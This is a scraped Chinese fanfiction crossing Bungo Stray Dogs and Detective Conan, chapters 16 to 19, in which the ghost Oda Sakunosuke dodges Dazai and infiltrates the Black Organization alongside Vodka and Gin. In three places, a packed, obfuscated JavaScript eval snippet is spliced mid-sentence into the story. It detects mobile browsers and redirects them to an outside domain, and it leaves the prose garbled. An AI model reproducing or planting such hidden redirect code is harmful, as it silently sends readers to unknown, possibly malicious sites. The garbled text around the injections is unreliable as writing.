总之,留在这里太危险了。 水豚决定在今天当一次鸵鸟。 织田作之助迅速飘走。 空中,刚刚好像有谁在那里。 太宰治不确定地看了一眼又一眼。 是能隐身的异能者吗?他频频朝空中张望的动作引得不少路人跟着看去,在发现什么都没有后,纷纷用复杂的表情上下打量太宰治。 意识到继续留在这里只会让自己成为人群中的焦点,太宰治双手插兜往人群的反方向走去。 这是他四年来第一次觉得如果安吾在的话就好了。 安吾的异能力【堕落论】能从物品上读取接触过它的人的信息,那位小野柳吉先生在铃木博物馆分别担任过保洁和保安,接触过的物品数不胜数,一定能找到不少关键的情报。 还有…… 太宰治再次回头看向那片天空,鸢眼中倒映出空白的蓝天。 总觉得他刚刚错过了什么。 —— ‘调查的工作不能因为太宰治的出现暂时搁置。’ 情急之下躲回公寓的织田作端着刚热好的辣味咖喱浇到米饭上,一边享受火辣的痛感在舌尖起舞,一边焦虑接下来的任务。 ‘可是太宰为什么会出现在东京?’ ‘在避开太宰的同时完成潜入黑衣组织的任务可行性太低了。’ ‘难道是我的秘密行动被太宰发现了?’ 如果被其他人知道织田作之助称他那毫无掩饰的行动为“秘密行动”,一定会激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394485|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起所有人的吐槽欲。 “你好,请问这里是小野侦探的公寓吗?” 突然间,太宰治的声音穿透门板传到织田作的耳中。 他咀嚼米饭的动作一顿。 下意识地想到:不愧是太宰,这么快就找过来了。 更要命的是,邻居水无怜奈正好路过,把太宰治当成委托人的她点了点头。 “是的,小野柳吉就住这里。” “真是太好了,多谢。” 织田作之助脑海中浮现出穿着沙色风衣的鸢眼青年眉眼弯弯地朝邻居道谢的样子。 不对,现在不是想这些的时候,他两口解决完最后的咖喱,正准备把房间内的生活痕迹都抹消时,门口传来撬锁的声音。 是太宰! 确认邻居小姐离开后,太宰治准备直接撬锁进屋。 “织田……” 情况越紧急,添乱的人就越多,狱卒诸伏景光出现了,他是来拿近期的行动报告兼手稿的。 注意到同僚似乎遇上了闯空门的小偷,他神色一凛。 “要抓起来吗?” 织田作抓住想执行正义的同僚,两只鬼飘进卧室将重要的报告和手稿拿上。 “我们先离开这里。” 公寓的主人狼狈地逃出公寓。 诸伏景光观察完这一切,他得出结论:“被生前认识的人发现了吗?” “嗯。”织田作看起来有些苦恼。 “能和我说说吗?虽然在做鬼这件事上我还是个新人,但我对伪装和欺骗还是挺有自信的。” “啊,因为我之前为了调查伪装潜入了铃木博物馆,但是那边似乎留下了我的个人信息,导致生前的朋友找了过来。” “既然是伪装潜入,那完全可以装作另一个人吧。” “可是当时我的伪装被揭穿了。”说起这个,织田作感到一丝挫败,“连小学生都觉得我的伪装很粗糙。” 诸伏景光:“……等等,织田前辈你能详细说一下你当时的伪装吗?” 织田作之助用手在脸上比划了两下。 “用眉笔化了一些皱纹在额头和眼角,贴了一些胡子,还把头发弄乱,这样子。” “……” 诸伏景光很想直截了当地吐槽这算哪门子的伪装,但碍于对方理所当然的表情,又不知该如何开口。 难怪你的伪装连小学生都看得出来啊!既然要摒弃生前身份的话,至少得上点科技改变面部轮廓吧,还有用眉笔画皱纹这算什么?过家家吗!最后,弄乱头发只会让人觉得你邋遢,除此之外什么作用都没有! 内心奔腾而过一长串的吐槽,最后到嘴里时只剩下一句话。 “我勉强懂一些伪装易容的技巧,应该能起到一点作用。” 期间一直关注诸伏景光表情变化的织田作之助。 虽然看不出诸伏景光在这短短的十几秒内经过了何等剧烈的心理活动,但在听到对方准备提供帮助时,他松了一口气后道。 “那真是帮大忙了。” 说完,他表情突然僵硬。 诸伏景光不解:“怎么了吗?” 织田作:“锅里还有辣咖喱。” 糟糕啊,忘记处理最关键的物证了。 16.第 16 章 公寓内空荡荡的,但料理台上放着一锅还在冒热气的咖喱,说明主人刚刚离开,也有可能是在听到门外的动静后才仓皇逃窜的。 太宰治走到餐桌前,站在织田作之助先前坐的位置前,指尖轻触餐盘。 盘子是温热的。 接着他又走向那锅咖喱,丝毫不介意这锅咖喱可能被人下过毒或是加过什么料,用汤勺盛了一点放到嘴边。 辣味是逐渐涌入口腔的,太宰治控制不住地斯哈起来,但他脸上的表情却带着一种诡异的怀旧。 他大口呼气,带着‘如果是织田作的话,一定会在这里冻冰块’这样的想法,熟练地打开冰箱,找到了冰块和水杯。 直到口腔温度回归正常,他才擦了擦嘴,感叹:“好辣。” 内心的防备在遇上辣咖喱后被逐渐卸下,太宰治丝毫没有入侵者的自觉,在公寓内闲逛起来。 客厅几乎没有生活过的痕迹,他果断来到卧室门前,轻敲了两下后,推开门。 门内,靠墙的位置放着一张单人铁架床,窗边则摆着一张书桌,明亮的阳光洒下,桌上凌乱地摆着空白的稿纸和几支笔。 一阵风吹过,轻柔的纱帘飘起,视线朦胧,太宰治呼吸一滞。 他仿佛看到了那个人坐在书桌前埋头创作的样子。 右手不由自主地朝着书桌的方向抬起,落下时,却什么都没有摸到。 书桌前根本没有人。 他坐到书桌前,动作轻柔地将每一张稿纸拿起,在注意到纸上留有划痕后,太宰治找到铅笔,小心翼翼地在上面描写。 如果用一叠纸垫着书写,将表面的纸拿掉后,下面的纸张上也会留有书写的痕迹,如果用铅笔描绘,就能得到之前的书写内容。 可惜书写的人在创作时灵感似乎不太流畅,垫纸上的内容五花八门,显然是写过一段后又撕掉重写了。 太宰治仔细辨认纸上的内容,却也只得到了“总监、狱卒、爆破、执法、亡灵”等零碎的情报。 他的视线停留在“亡灵”一词上,神色晦暗。 众所周知,人死是不可能复活的。 那么住在这里的那位长相酷似织田作、爱吃辣咖喱、还会写作的私家侦探小野柳吉到底是谁? 如果能拿到小野柳吉写作的手稿就好了。 略带遗憾地看着桌面,太宰治产生了一个初步的推理结论,但还需要时间验证。 思索间,那种被窥视的感觉又来了。他倏地抬头看向窗外,可除了几只路过的乌鸦,他什么都没看见。 刚飘到窗口偷看的织田作之助:“……我说过太宰的第六感很敏锐。” 诸伏景光:“对方似乎很熟悉织田前辈你的生活习惯。” 他看被称为太宰的青年在织田作之助的公寓内完全是一副放松的姿态,这不是陌生人会有的状态。 “也没有很熟悉吧。”织田作下意识反驳,他细数起和太宰相处的过往。 “只是工作上偶尔会搭档,如果遇到生命危险,可以互相交付信任。” “他知道我住在哪里,有时会来串门,经常在常去的酒吧偶遇。” “我知道他对生命存在的意义产生迷茫,他也知道我希望有朝一日能住进海边的小屋安心创作。” 说完,织田作平静总结:“也就是一般的好友吧。” 诸伏景光:“……” 这分明是挚友之间相处才会有的默契吧!都能以性命相互托付了这还算是一般的好友吗、织田前辈!人再迟钝也要有个限度啊! 他的内心呐喊着吐槽,但面对织田作之助这种水豚性格的人,吐槽只会给自己添堵。 他深呼一口气,缓缓道:“那织田前辈你觉得能靠伪装瞒过对方的概率有多大?” 织田作之助诚实答道:“零。” 毕竟对方可是太宰啊,以他的伪装,估计一见面就会被拆穿吧。 “……” 好耿直的回答,好清晰的认知。 诸伏景光看了一眼公寓内完全没有离开迹象的太宰治,拉着织田作之助飘远。 “如果是这样的话,我的建议是织田前辈可以更刻意地扮成你自己。” “刻意地扮成我自己?”织田作之助听着有些疑惑。 “就是你依然按照生前的习惯行事,但要给人一种你是故意这样做的假象。” “我明白了,就是让别人觉得我其实是在假扮我自己。” 假装自己是个爱吃辣咖喱和写作的人。 织田作之助想了想,也就是说他在享受咖喱的同时要表现得讨厌辣味,在写作的时候要满脸痛苦? 前面一条有点难,后面一条……好像就是他最近写稿的真实写照。 “那伪装的话……” 诸伏景光想到对方用来画皱眉的眉笔和劣质假胡子,顿时严肃:“织田前辈你的易容道具必须更新升级。” 原本只是来取信的诸伏景光在现世足足耗费了近两个小时才返回地府。 在这期间,他带着织田作之助去了一家暗地里做黑//道生意的小店,买了不少易容道具,再一一教对方使用。 然后回忆着生前在警校上间谍课的知识,倒豆子般全部交给织田作之助。 诸伏景光能理解织田作之助生前的友人对疑似死而复生的挚友死缠烂打的心情,如果换做是他遭遇这样的情况,就算很想和对方见一面,但阴阳两隔,也只能狠心远离。 送走热心的同僚,织田作之助提着一大袋易容道具,突然想到了一件很重要的事情忘记问了。 他接下来还要调查导致诸伏景光身份暴露的卧底身份,刚才应该向当事鬼提前了解下情况的。 算了,反正过不了几天又会见面,在这之前先自己调查一下吧。 而且公寓那边也回不去了。 被迫流落街头的织田作之助站在街上,住酒店需要登记身份信息,极有可能再次被太宰追上门,临时租房子也不现实。 想了想,他转身走向一旁的小巷。之前没看错的话,这里面好像有个酒吧。 烦心事太多,不知道该怎么解决的话,先喝一杯吧。 —— 酒吧。 织田作之助点了一杯蒸馏酒,坐在吧台最靠里的位置。 暖棕色调的店里客人并不多,加上他也才两个人。 另一位客人坐在最靠近门口的卡座里,点了一杯伏特加,携带的背包鼓鼓囊囊的,看那人的神色,像是在这里等待什么人接头的帮//派成员。 “叮咚” 酒吧门被人推开,一个身穿黑色风衣的国字脸墨镜男走了进来。对方在酒吧内扫视一圈后,径直走向点了伏特加的男人。 织田作暗中关注着这两位不寻常的客人。 内心想到:‘东京喜欢穿黑衣服行动的帮//派可真多啊。’ 担心像上次一样闹乌龙,他只是静静地坐在位置上,偷听那两人的对话。 “货带了吗?”这是墨镜男在问。 “都在这里,一手交钱一手交货。”这是另一个人的回答。 “好。” 卡座里的两人借着位置的隐蔽性,默默完成了交易,正当他们准备离开时,酒吧门再次被人打开。 门外,两名身穿制服的警察走了进来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408930|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “例行公务检查,请大家坐在位置上,把身份证件拿出来。” 酒吧内的三名客人均是僵硬了一瞬。 墨镜男和另一个男人是因为他们刚刚交易了一批违禁弹药,且身上都携带有枪//支。 织田作之助是因为他包里全是易容道具,身份证件也还在紧急赶制中没拿到手。 总之,他们都不能在这里被检查身份! 混乱的号角被一发盲打的子//弹吹响。 玻璃碎裂,警灯闪烁,枪//击的巨响盖过舒缓的音乐,三位心怀鬼胎的嫌疑人一窝蜂地朝着后门逃去。 “别跑!” “呼叫总部、呼叫总部,杯户町2丁目发生枪击案,请求支援!” 狭小的酒吧后厨无法同时供三名壮硕男子并排通过。 三人挤成一团,突然间,织田作之助的异能【天衣无缝】预见了五秒钟后子//弹穿透自己击中身前黑衣墨镜男的场景。 下意识地,他抓住面前黑衣墨镜男,扑向另一侧的操作台。 突然被人抓住,伏特加根本来不及反击就被迫扑倒在地上。 他扶着帽子回头,却看到即将经过的路上出现了一个小小的弹//孔。 “你……”看向帮助自己逃过一劫的红发青年,他陷入疑惑。 这人是谁?为什么要帮自己?他有什么目的? 可现在并不是计较这些的时候,警察已经追过来了。 织田作之助扶了一把貌似被摔晕的墨镜男,两人再次朝外面逃去。 昏暗的巷子里,三人在一个岔路口兵分两路。 织田作之助和伏特加朝着居民区跑去。 期间,伏特加一直在观察织田作。 对他们这些常年混迹黑暗的人来说,遇到今天这种情况,不踩你一脚就算有义气了,这还是他第一次被组织外的人帮助。 巷子里,织田作左突右闪,没一会便甩掉了身后的警察。 他靠在墙上,看向一直跟着自己的墨镜男。 这人为什么一直跟着自己? 伏特加正喘着粗气,察觉到织田作之助的视线,他抬起头:“喂,你还挺厉害的嘛。” 按理说,他作为黑衣组织的代号成员,当下要做的是不留任何痕迹地离开。 “你干了什么要跑?”伏特加问。 “犯了点事,现在的身份不能用了。”织田作模仿犯罪分子的口径给出回答。 伏特加看着织田作之助那张老实人的脸,心里一动,说道。 “我这里有份差事,正适合你这种需要改头换面的家伙,不过加入后不能退出。” 这家伙一脸老实样,除了身手好点看不出其他优势,看在他帮了自己一把的份上,介绍他进组织当个底层人员也比东躲西藏的好。 织田作:“……” 东京的黑//帮这么热心的吗? 没等他回答,巷子的另一边,一股凌冽尖锐的气场袭来。 一个高大的身影从那头走来,同样的黑色的风衣穿在他的身上,有种北欧男模的既视感。 银色的长发轻轻摆动,帽檐下,那人凌厉的视线射向织田作之助。 “伏特加,别做多余的事。” 已经把织田作当成死人的琴酒叫出伏特加的代号,提醒后者不要浪费时间。 伏特加连忙解释,说织田作之助是他准备招揽的人。 而织田作则是面无表情地看着两人。 喜欢穿黑衣的犯罪分子,用酒名作为代号,视人命为草芥。 这次似乎是真的遇上了黑衣组织的成员。 我运气真好。 17.第 17 章 【我见过恶人死后被地府的酷刑折磨得痛哭流涕忏悔过错的样子,和他们初到地府时的形象判若两人。 那时,我便在思考,到底要付出什么样的代价才能让一个人发自内心的忏悔?】 被伏特加称为“琴酒大哥”的银发男人只是靠近就能感受到他身上凌冽的寒气和杀意。 织田作之助看着两人为自己的去留争执,当然大部分时间都是伏特加低声下气地解释,琴酒只是偶尔点头或是不耐烦地吐出两三个字。 琴酒身上有他熟悉的感觉,那是从死人堆里爬出来的最终胜者才能拥有的气场。 他是一个杀手,而且是正处于全盛期的专业杀手。 肌肉不由自主地绷紧,【天衣无缝】忽然发动。 他看到两秒钟后琴酒突然拔//枪瞄准了他的脑袋射击。 侧头,子//弹从侧面掠过。 织田作不解地看向琴酒。 面对红发青年面无表情的瞪视,琴酒冷哼了一声,把从伏特加口袋里抽出的枪丢给后者。 “盯好他,如果他是老鼠的话,伏特加你知道后果。” 伏特加连连道是。 貌似刚才的突袭是自己的“入社测试”,织田作之助后知后觉地想到,所以这是顺利入社了吗? —— 作为组织的高级代号成员,伏特加的个人本领其实并不突出。 他的暗杀、射击、格斗技巧都只是及格水平,能走到今天,全靠他跟了一个好大哥——琴酒。 靠着老实听话不惹事的性格(在琴酒看来)和交通工具驾驶全精通的特长,他在琴酒的提携下走到了今天的位置。 而在一个平平无奇的接头交易任务中,他遇上了一个人,一个和曾经的自己一样、有着老实本分的性格和灵活身手的人。 就像曾经只是底层成员的自己和孤狼般的琴酒大哥偶遇时那样,伏特加递出了橄榄枝。 唯一超出他预料的,就是琴酒大哥说着要测试一下对方的身手,突然举//枪射击。 就在伏特加以为他好不容易找到的小弟要命丧黄泉时,对方竟然躲了过去!而且是表情淡然地轻轻偏头,仿佛只是躲开了一只恼人的苍蝇。 ‘我找的小弟好像不一般。’ 伏特加想着,他很高兴小弟能在琴酒大哥面前小出一把风头,让他这个介绍人兼未来的大哥也面上有光。 “走吧,我带你去办入职。”伏特加说,带着织田作之助跟上琴酒。 走到一辆保时捷前,看到曾经在警视厅门口有过一面之缘的老爷车,织田作之助后知后觉地想到,他似乎离警视厅的组织卧底只有一步之遥了。 伏特加自觉坐上驾驶位,琴酒拉开的副驾的门坐了进去,留给织田作之助的只有后排的位置。 汽车启动,行驶途中,伏特加开始询问织田作之助的个人信息。 “你是因为惹了事不得不改头换面吧,那你之前是干什么的?叫什么名字?” 织田作之助:“小野柳吉,之前是个私家侦探。” “侦探啊,你惹上什么事了?” “不小心招惹了横滨那边的黑//手//党,他们已经找到我的公寓了。” 对不起了,太宰,为了任务,只能先让你背锅了。织田作之助毫无心理负担地想到。 “这样啊,那你想好新的身份了吗?不用担心,你只需要提供一些简单的信息,组织这边会帮你完善。” 织田作之助思索片刻,脑海中回忆起诸伏景光的建议——‘何不试试扮演织田前辈你自己呢’。 他开口道:“就叫织田作吧,职业的话,作家怎么样。” “作家?”伏特加笑了笑,他透过后视镜看向织田作,后者神色平静,丝毫没有即将加入一个国际犯罪组织的惶恐或是兴奋,的确很有文艺工作者那种淡然疯癫的气质。 他吐槽:“哈哈,和你的气质挺像的。” 就算是底层成员,加入组织前也会进行一个简单的背景调查。 在一个临时据点内,技术人员在确认完“小野柳吉”的身份信息后,朝伏特加比了个OK的手势,这才是织田作之助真正加入组织的讯号。 完善新的身份信息需要两到三天的时间,在那期间,织田作之助需要在据点里,接受一些简单的“入职培训”。 伏特加作为引路人,在把织田作之助带到培训点后就离开了。 代号成员都很忙的,他还有其他的任务,只留下“等你培训结束我就来带你一起出任务”一句话。 带训的教官据说是某国退役的特种兵,因为嫉妒犯下谋杀罪后潜逃途中被捡回了组织。 教官脸上有好几条狰狞的疤痕,他说是这是在中//东地区从敌人狙//击//枪下存活的勋章。 织田作看着那几条明显只是刀伤的疤痕,默不作声。 “首先,是基础的格斗技巧,菜鸟们来一个配合我。”教官扫向新人的视线仿佛要把他们吃掉,最后他注意到一直静静站在角落的织田作之助。 一般这种只敢躲在角落默不作声的家伙,百分之八十都是犯了金融罪或是盗窃罪的都市男,长得高大又能怎么样,不过是个大一点的软柿子。 教官朝织田作之助抬了抬下巴。 “你,过来。” 站在织田作之助身前的其他新人顿时如摩西分海般朝两边散开,让出一条宽阔的路。 站在最后面,只是担心身高挡住其他人观看教学的织田作:“哦,好。” 此时他还穿着款式老旧的棕色格子衬衫,虽然没有胡子,但古井无波的双眼和周身颓丧的气场让他看起来像个天然无害的大型卡皮巴拉。 路过其他人时,他还听到周边的窃窃私语。 “这小子要倒霉了。” “听说只要被杉木教官选中当技巧展示的新人,要么骨折要么内出血。” “这么可怕,还好没有选中我。” 好像被教官选中当他立威的工具人了。 织田作之助平静地想到,不过,既然对方是犯罪分子的话,稍微过分一点应该无所谓吧。 站到教官面前,他朝杉木教官点头示意。 他的任务是尽快获取代号,方便调查组织中服用了神秘药物从而逃避死亡制裁的成员,以及找出组织派往警视厅的卧底。 在用杀戮和罪恶堆积起来的组织里,张扬一点并不算坏事。只有累积起足够的知名度才更有利于职务晋升。 毕竟他已经不是那个只想过平静生 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但他却看到织田作之助露出了前所未有的认真神色。 后者小心翼翼地拿起一片波如蝉翼的仿真皮,用堪称恭敬的态度认真跟着教官的动作学习。 最后,一张皱皱巴巴的假脸出现在织田作之助的手上。 “……” 那人没有放弃,继续拍马屁,“伪装不是有手就行,织田你绝对能完美扮演每一个角色。” 教官:“织田,你上来演示,现在你是一名扮演成服务员的杀手。” 织田作之助上场,面无表情地端着一杯饮料放到教官面前,语气毫无波澜:“请用。” “不行,你现在是服务员啊,这种态度会被投诉的!”教官提醒,“算了,你再演一个挤电车的上班族试试。” 织田作先是思考了一下上班族是怎么样的,然后又是面无表情地拿着道具公文包,面无表情地做了个推人的动作。 “抱歉让让,后面的人还没有上车。” 好一个伪人融入人类社会的拙劣扮演。 教官:“……” 虽然易容和伪装的课程拿到了不及格的评价,织田作之助也凭借着其他课程的超凡表现顺利通过了入职培训。 能被组织招揽的人或多或少都有一些人格缺陷,像他这样只是面瘫和情绪稳定算不上什么致命缺点。 在后勤部门领取到“织田作”的身份证件后,织田作之助接到了伏特加的电话。 “听说你在培训基地大出风头,哈哈,做的不错,五分钟后在门口等我,有个善后任务。” 善后任务。 一般指组织的情报被不相干的人知晓后需要对相关人员进行清理,或是机密文件的运输过程中出现意外导致文件遗失需要找回等。 总的来说,织田作之助挺擅长善后的。 坐在副驾驶,这次琴酒没有来,执行任务的只有他和伏特加两人。 他偷偷观察伏特加的神情,内心犹豫。 这是个套话的好机会。 但问题是,他不太擅长套话。 18.第 18 章 【“呐呐,织田作你知道吗,今天我审讯了一个嘴巴超级严的敌对组织干部。” “那很麻烦吧,从这种人口中撬出情报什么的。” “刚开始的时候确实很令人头大,不过我有特殊的手段……”】 ‘特殊的手段’。 织田作之助看向专心驾驶的伏特加。 ‘让审讯对象彻底绝望后再给他一丁点的希望,到那时,你就会成为他在这个世界上唯一依赖的人。’ 回忆起太宰曾经分享过的审讯秘籍,织田作之助犹豫不决。 毕竟他现在是要套话,不是审讯伏特加。这个方法好像不太能派得上用场。 “琴酒大哥他……不来吗?” 最后,织田作之助勉强找了个话题打开局面。 面对小弟的疑惑,伏特加没有批评织田作一来就打听代号成员行踪的踩雷行为,他做了个噤声的手势。 “记住,不要擅自询问代号成员的动向,这是为了你好。”他耐心解释,大概是真的很满意这个新招的小弟,不愿意他因为一时好奇丢了性命。 “在组织里,命长的秘诀就是不多问不多看。”伏特加说,“就像这次的任务是善后,那我们就只需要做好善后工作就行,其他不该管的事绝对不能好奇。” “这么讲你明白了吗?” “明白了。” 织田作之助的首次套话以失败告终。 出于对小弟的关怀,伏特加趁着等红灯的间隙,从口袋里摸出一包烟抽出一支递给织田作之助。 “放心,只要你好好干,有琴酒大哥和我做担保,获取代号只是时间问题。” 织田作之助抓住机会提问:“这么说的话,获取代号具体需要做些什么呢?” “首先你得有代号成员的推荐,然后至少具备一项尤其突出的技能,例如暗杀、狙击、情报、技术等,最后,还要完成一项由组织高层指定的晋升任务。” 认真听完,织田作感觉自己已经基本具备了前两项条件。 成为代号成员,貌似没有想象的那么难。 —— 汽车稳稳停在某大型商场的地下停车场里。 伏特加从后座拿出两套衣服,卡其色的短裤和针织T恤,很有休假中的商务人士穿搭的既视感。 就是织田作换上后像濒临破产的企业高管,死活不愿意摘下墨镜的伏特加像随行的保镖。 两人沉默着走进电梯。 织田作之助透过电梯内的镜子看到两人的造型,忍不住问道:“这样真的没问题吗?” 这样的伪装好像让他们变得更显眼了。 尤其是伏特加的墨镜。 伏特加无所谓摆手道:“不用担心,接下来跟紧我。” 人来人往的商场内,织田作之助才走了两步就觉得不对劲。 2楼和3楼都是女装专卖店,但这两层楼的男性顾客太多了。 不止一次看到带着耳麦的魁梧男性行色匆匆地从身边走过,织田作之助拉住伏特加,比了个手势后,两人装作走累了躲到立柱后休息。 伏特加虽然迟钝,但也多少能感知到周围环境中危险的气息。 他示意织田作之助稍安勿躁,探出头观察半晌后冷哼道:“这些条子动作还挺快的。” 意识到对方早知道这里会有便衣警察出现,织田作之助猜想,一定是那位潜伏在警视厅的卧底传出的情报。 也间接证明,伏特加和那位卧底有过联系。 “那我们现在该怎么办?”织田作问。 伏特加自信说:“待会混乱起来,你趁乱把那个人的背包偷走。” 他指向正从商场大门走进来的男人,“那家伙杀人后误将组织的秘密情报带走了,要在警方之前将他手中的记忆卡拿回来。” “记住不要暴露了身份。”他靠在栏杆上,拍了拍织田作之助的肩膀,“这是你加入组织后的第一个任务,不要搞砸了。” 织田作之助看向这次的目标,轻轻点了点头。 偷东西其实不难,关键在于偷完东西后怎么全身而退。 他混进下楼的人群,慢慢走向任务目标。 可在他之前,一名女性提前跑向了男人,他们似乎是男女朋友的关系。 人群中的织田作看着两人亲昵地拥抱后走向上楼的扶梯,他犹豫片刻后跟了上去。 察觉到每层楼的警察数量逐渐增多,织田作之助一边盘算着如何在警方动手前拿到背包,另一边则是担忧会遇上之前见过的目暮警官。 真遇上的话,该怎么解释呢? 犹豫间,几人已经上到三楼。 落后目标约五步的织田作之助用余光扫向四周,身体绷紧,准备趁他们转身的机会动手。 但下一秒,他对上了不远处江户川柯南满是震惊的眼神。 织田作之助:“……” 没等他想好怎么应对,突然发现对方看的方向不是他,而是他身前的目标情侣。 转过头去,他才发现自己好像错过了一点剧情,原本岁月静好的两人突然用匕首挟持了另一名路过的女性,并威胁周围的警察不准上前。 可扶梯才不会听两人的命令,稳稳地载着织田作之助上楼。 注意到他的持刀男子顿时转过身朝他大吼:“不准动!” 面无表情的织田作之助配合地举起双手:“我只是路过。” 意识到他好像不是警察,男子声音更大了:“你过来!” 另一边匆匆赶来的目暮十三在看到织田作之助那张熟悉的面瘫脸后,内心缓缓飘过一行黑点。 这人怎么又出现在犯罪现场了? 走近男子,一个背包朝织田作之助迎面丢来。 “拿好,跟着我们走。” 经常被逮捕的人都知道,背包会大大影响逃跑的速度。男人想着反正包里没什么重要的东西,索性都丢给这个看起来憨憨傻傻的大个子拿着了。 憨憨傻傻的大个子织田作:“……” 根本不用他出手,对方就直接把包给他了。 接下来只要找机会溜走就算任务完成了吧。 可就是在这种看似不会有什么意外发生的时候,意外一定会发生。 他突然预见到三秒钟后,会有一颗足球穿过大半个商场,在击中持刀男子后反弹到自己脸上。 危险! 低头的瞬间,他趁机夺走男子一直架在被挟持女性脖子上的匕首,扶着后者蹲下身。 可刚蹲下,织田作就察觉到了不对劲。 虽然这样说很冒犯,但他的小腿不小心碰倒了那位女性的脚踝,那里的触感,像是藏了一把手//枪。 他看向对方,谁知这位刚刚还满脸惊恐的女士竟朝织田作俏皮地Wink了一下,还做了个撤离的手势。 警方已经涌上来,犯人被压制后仍在反抗,犯人的女友在尖叫,人群在慌忙逃离这片危险的区域,柯南也在狂奔着赶来。 总结就是,此处不宜停留。 趁乱,织田作之助扶起疑似组织成员的女性回到停车场。 离开监控覆盖区域后,那位女性轻轻挥开织田作之助扶着她的手,说话时,声音也变得妩媚动人。 “你就是伏特加新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420309|182585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招的人。”她语气肯定。 尚未明确对方身份,织田作之助静静地看着她,保持沉默。 对此,贝尔摩德也不生气,她指了指织田作拿在手里的背包,“丢了吧,那个人不是目标,背包里不会有你想要的东西。” 听完,织田作之助脑海中关于此次任务的描述终于清晰了。 伏特加带他负责清理证据,面前的女子则是负责清理可能窥探到组织秘密的相关人员。 不过从女人的话中可以推断出,这次他们找错了对象,所以这个背包也没用了。 拎着包,织田作之助“嗯”了一声,随手将包放在路边的消防栓上。 “指纹清理了吗?” 见他这副呆头呆脑的模样,贝尔摩德忍不住提醒。 织田作:“我没有指纹。” 作为亡灵,他可以自如地控制身体某些部门虚化,因此只要他不想留下指纹,就算用最高级的指纹采集仪也拿不到他的指纹。 以为他提前用砂纸磨掉了指纹,贝尔摩德难得赞赏:“这一点倒是比伏特加强。” 要不是有琴酒兜着,伏特加那个笨蛋早就因为粗心大意死几百回了。 “好了,赶紧离开吧,这里很快就要被警方封锁了。” 早在看到江户川柯南出现的瞬间,贝尔摩德就知道这次的任务没那么轻松,为了不被小侦探追上,她上车踩下油门,转眼间便消失在织田作的视线中。 织田作也想赶紧离开,因为他刚刚好像被目暮警部瞪了一眼,但是伏特加还没到。 说起来,他都和贝尔摩德聊这么久了,为什么伏特加还没出现。 在重新回到商场找人和留在车库等待两个选项之间纠结时,江户川柯南出现了。 “小野叔叔!刚刚和你一起离开的女性呢?” 用最快的速度赶来,但还是慢了一步的江户川柯南朝织田作问道。 “走掉了。” “什么时候走的?开的什么颜色的车?车牌号你还记得吗?” “不记得了。” 柯南好像认识刚才的女性,但这个态度像是在追查犯人,为什么小学生会和组织成员扯上关系? 织田作之助神色平静:“柯南认识刚才的那位女士吗?” “我……” 柯南一愣,对上织田作之助探究的视线,他浑身因为发现贝尔摩德而沸腾的血液瞬间冷却。 理智回归后,他才注意到一些被自己忽视的细节。 小野柳吉为什么会和贝尔摩德一起离开?小野柳吉为什么要拿走持刀男子的背包?小野柳吉出现在这里真的只是偶然吗? 可对方身上并没有组织成员的黑暗气息。 小野柳吉到底是谁?他真的只是个三流侦探吗? 被织田作的水豚气场迷惑,柯南胆大起来,“小野哥哥来这里是因为新的委托任务吗?” 他露出孩童般天真无邪的笑容,童真的表情搭配上“小野哥哥”这个拉近彼此距离的称呼,大多数人听了都会心情愉悦然后主动告知情报。 更何况他面对的是对上孩童会自觉放松警惕的织田作。 织田作:“啊,在调查卧底……一起物品失窃案。” 好险,差一点就被小学生套话了。 可“卧底”两个字已经清楚地进入了江户川柯南的耳中。 卧底! 为什么小野柳吉会知道警视厅已经混入了组织的卧底! 不对,他到底是在调查组织派往警视厅的卧底,还是在调查警视厅派往组织的卧底! 小野柳吉,这个人到底是谁! 19.第 19 章 “喂。” “织田,你在哪里?” “有个孩子走丢了,我在送他回家的路上。” “……” 拿着手机的伏特加一时不知该如何用语言表达内心纷乱的想法。 任务完成得怎么样了?谁家的孩子为什么要你帮忙送回家?商场不是有那么多警察吗你干嘛去当这个好人? 诸多吐槽最终化为一声悠长的叹息。 “我先回据点了,你尽快回来。” 因为穿搭被警方拦下盘问,耽误了集合时间的伏特加决定原谅小弟初次任务的小纰漏。 毕竟他自己的表现也算不上专业。 ‘自以为是的代号成员伏特加,带着小弟织田作完成的首次任务,一个被警方拦下配合调查,一个滥好心丢下任务跑去送孩子回家。’ 这样传出去难道光彩吗! 他们是国际犯罪组织,不是什么小太阳慈善机构! 到时候别说他伏特加抬不起头,连琴酒大哥也会受到影响。 挂断电话,织田作之助对上江户川柯南好奇的视线,主动解释:“一个工作上的前辈。” “可是小野哥哥不是独自创业的私家侦探吗?”柯南装作不解的样子。 “……。” 这孩子太聪明了。织田作之助感觉再多说几句话,柯南又会发现一些不得了的线索。 但是他能感受到柯南对自己复杂的情绪变化。 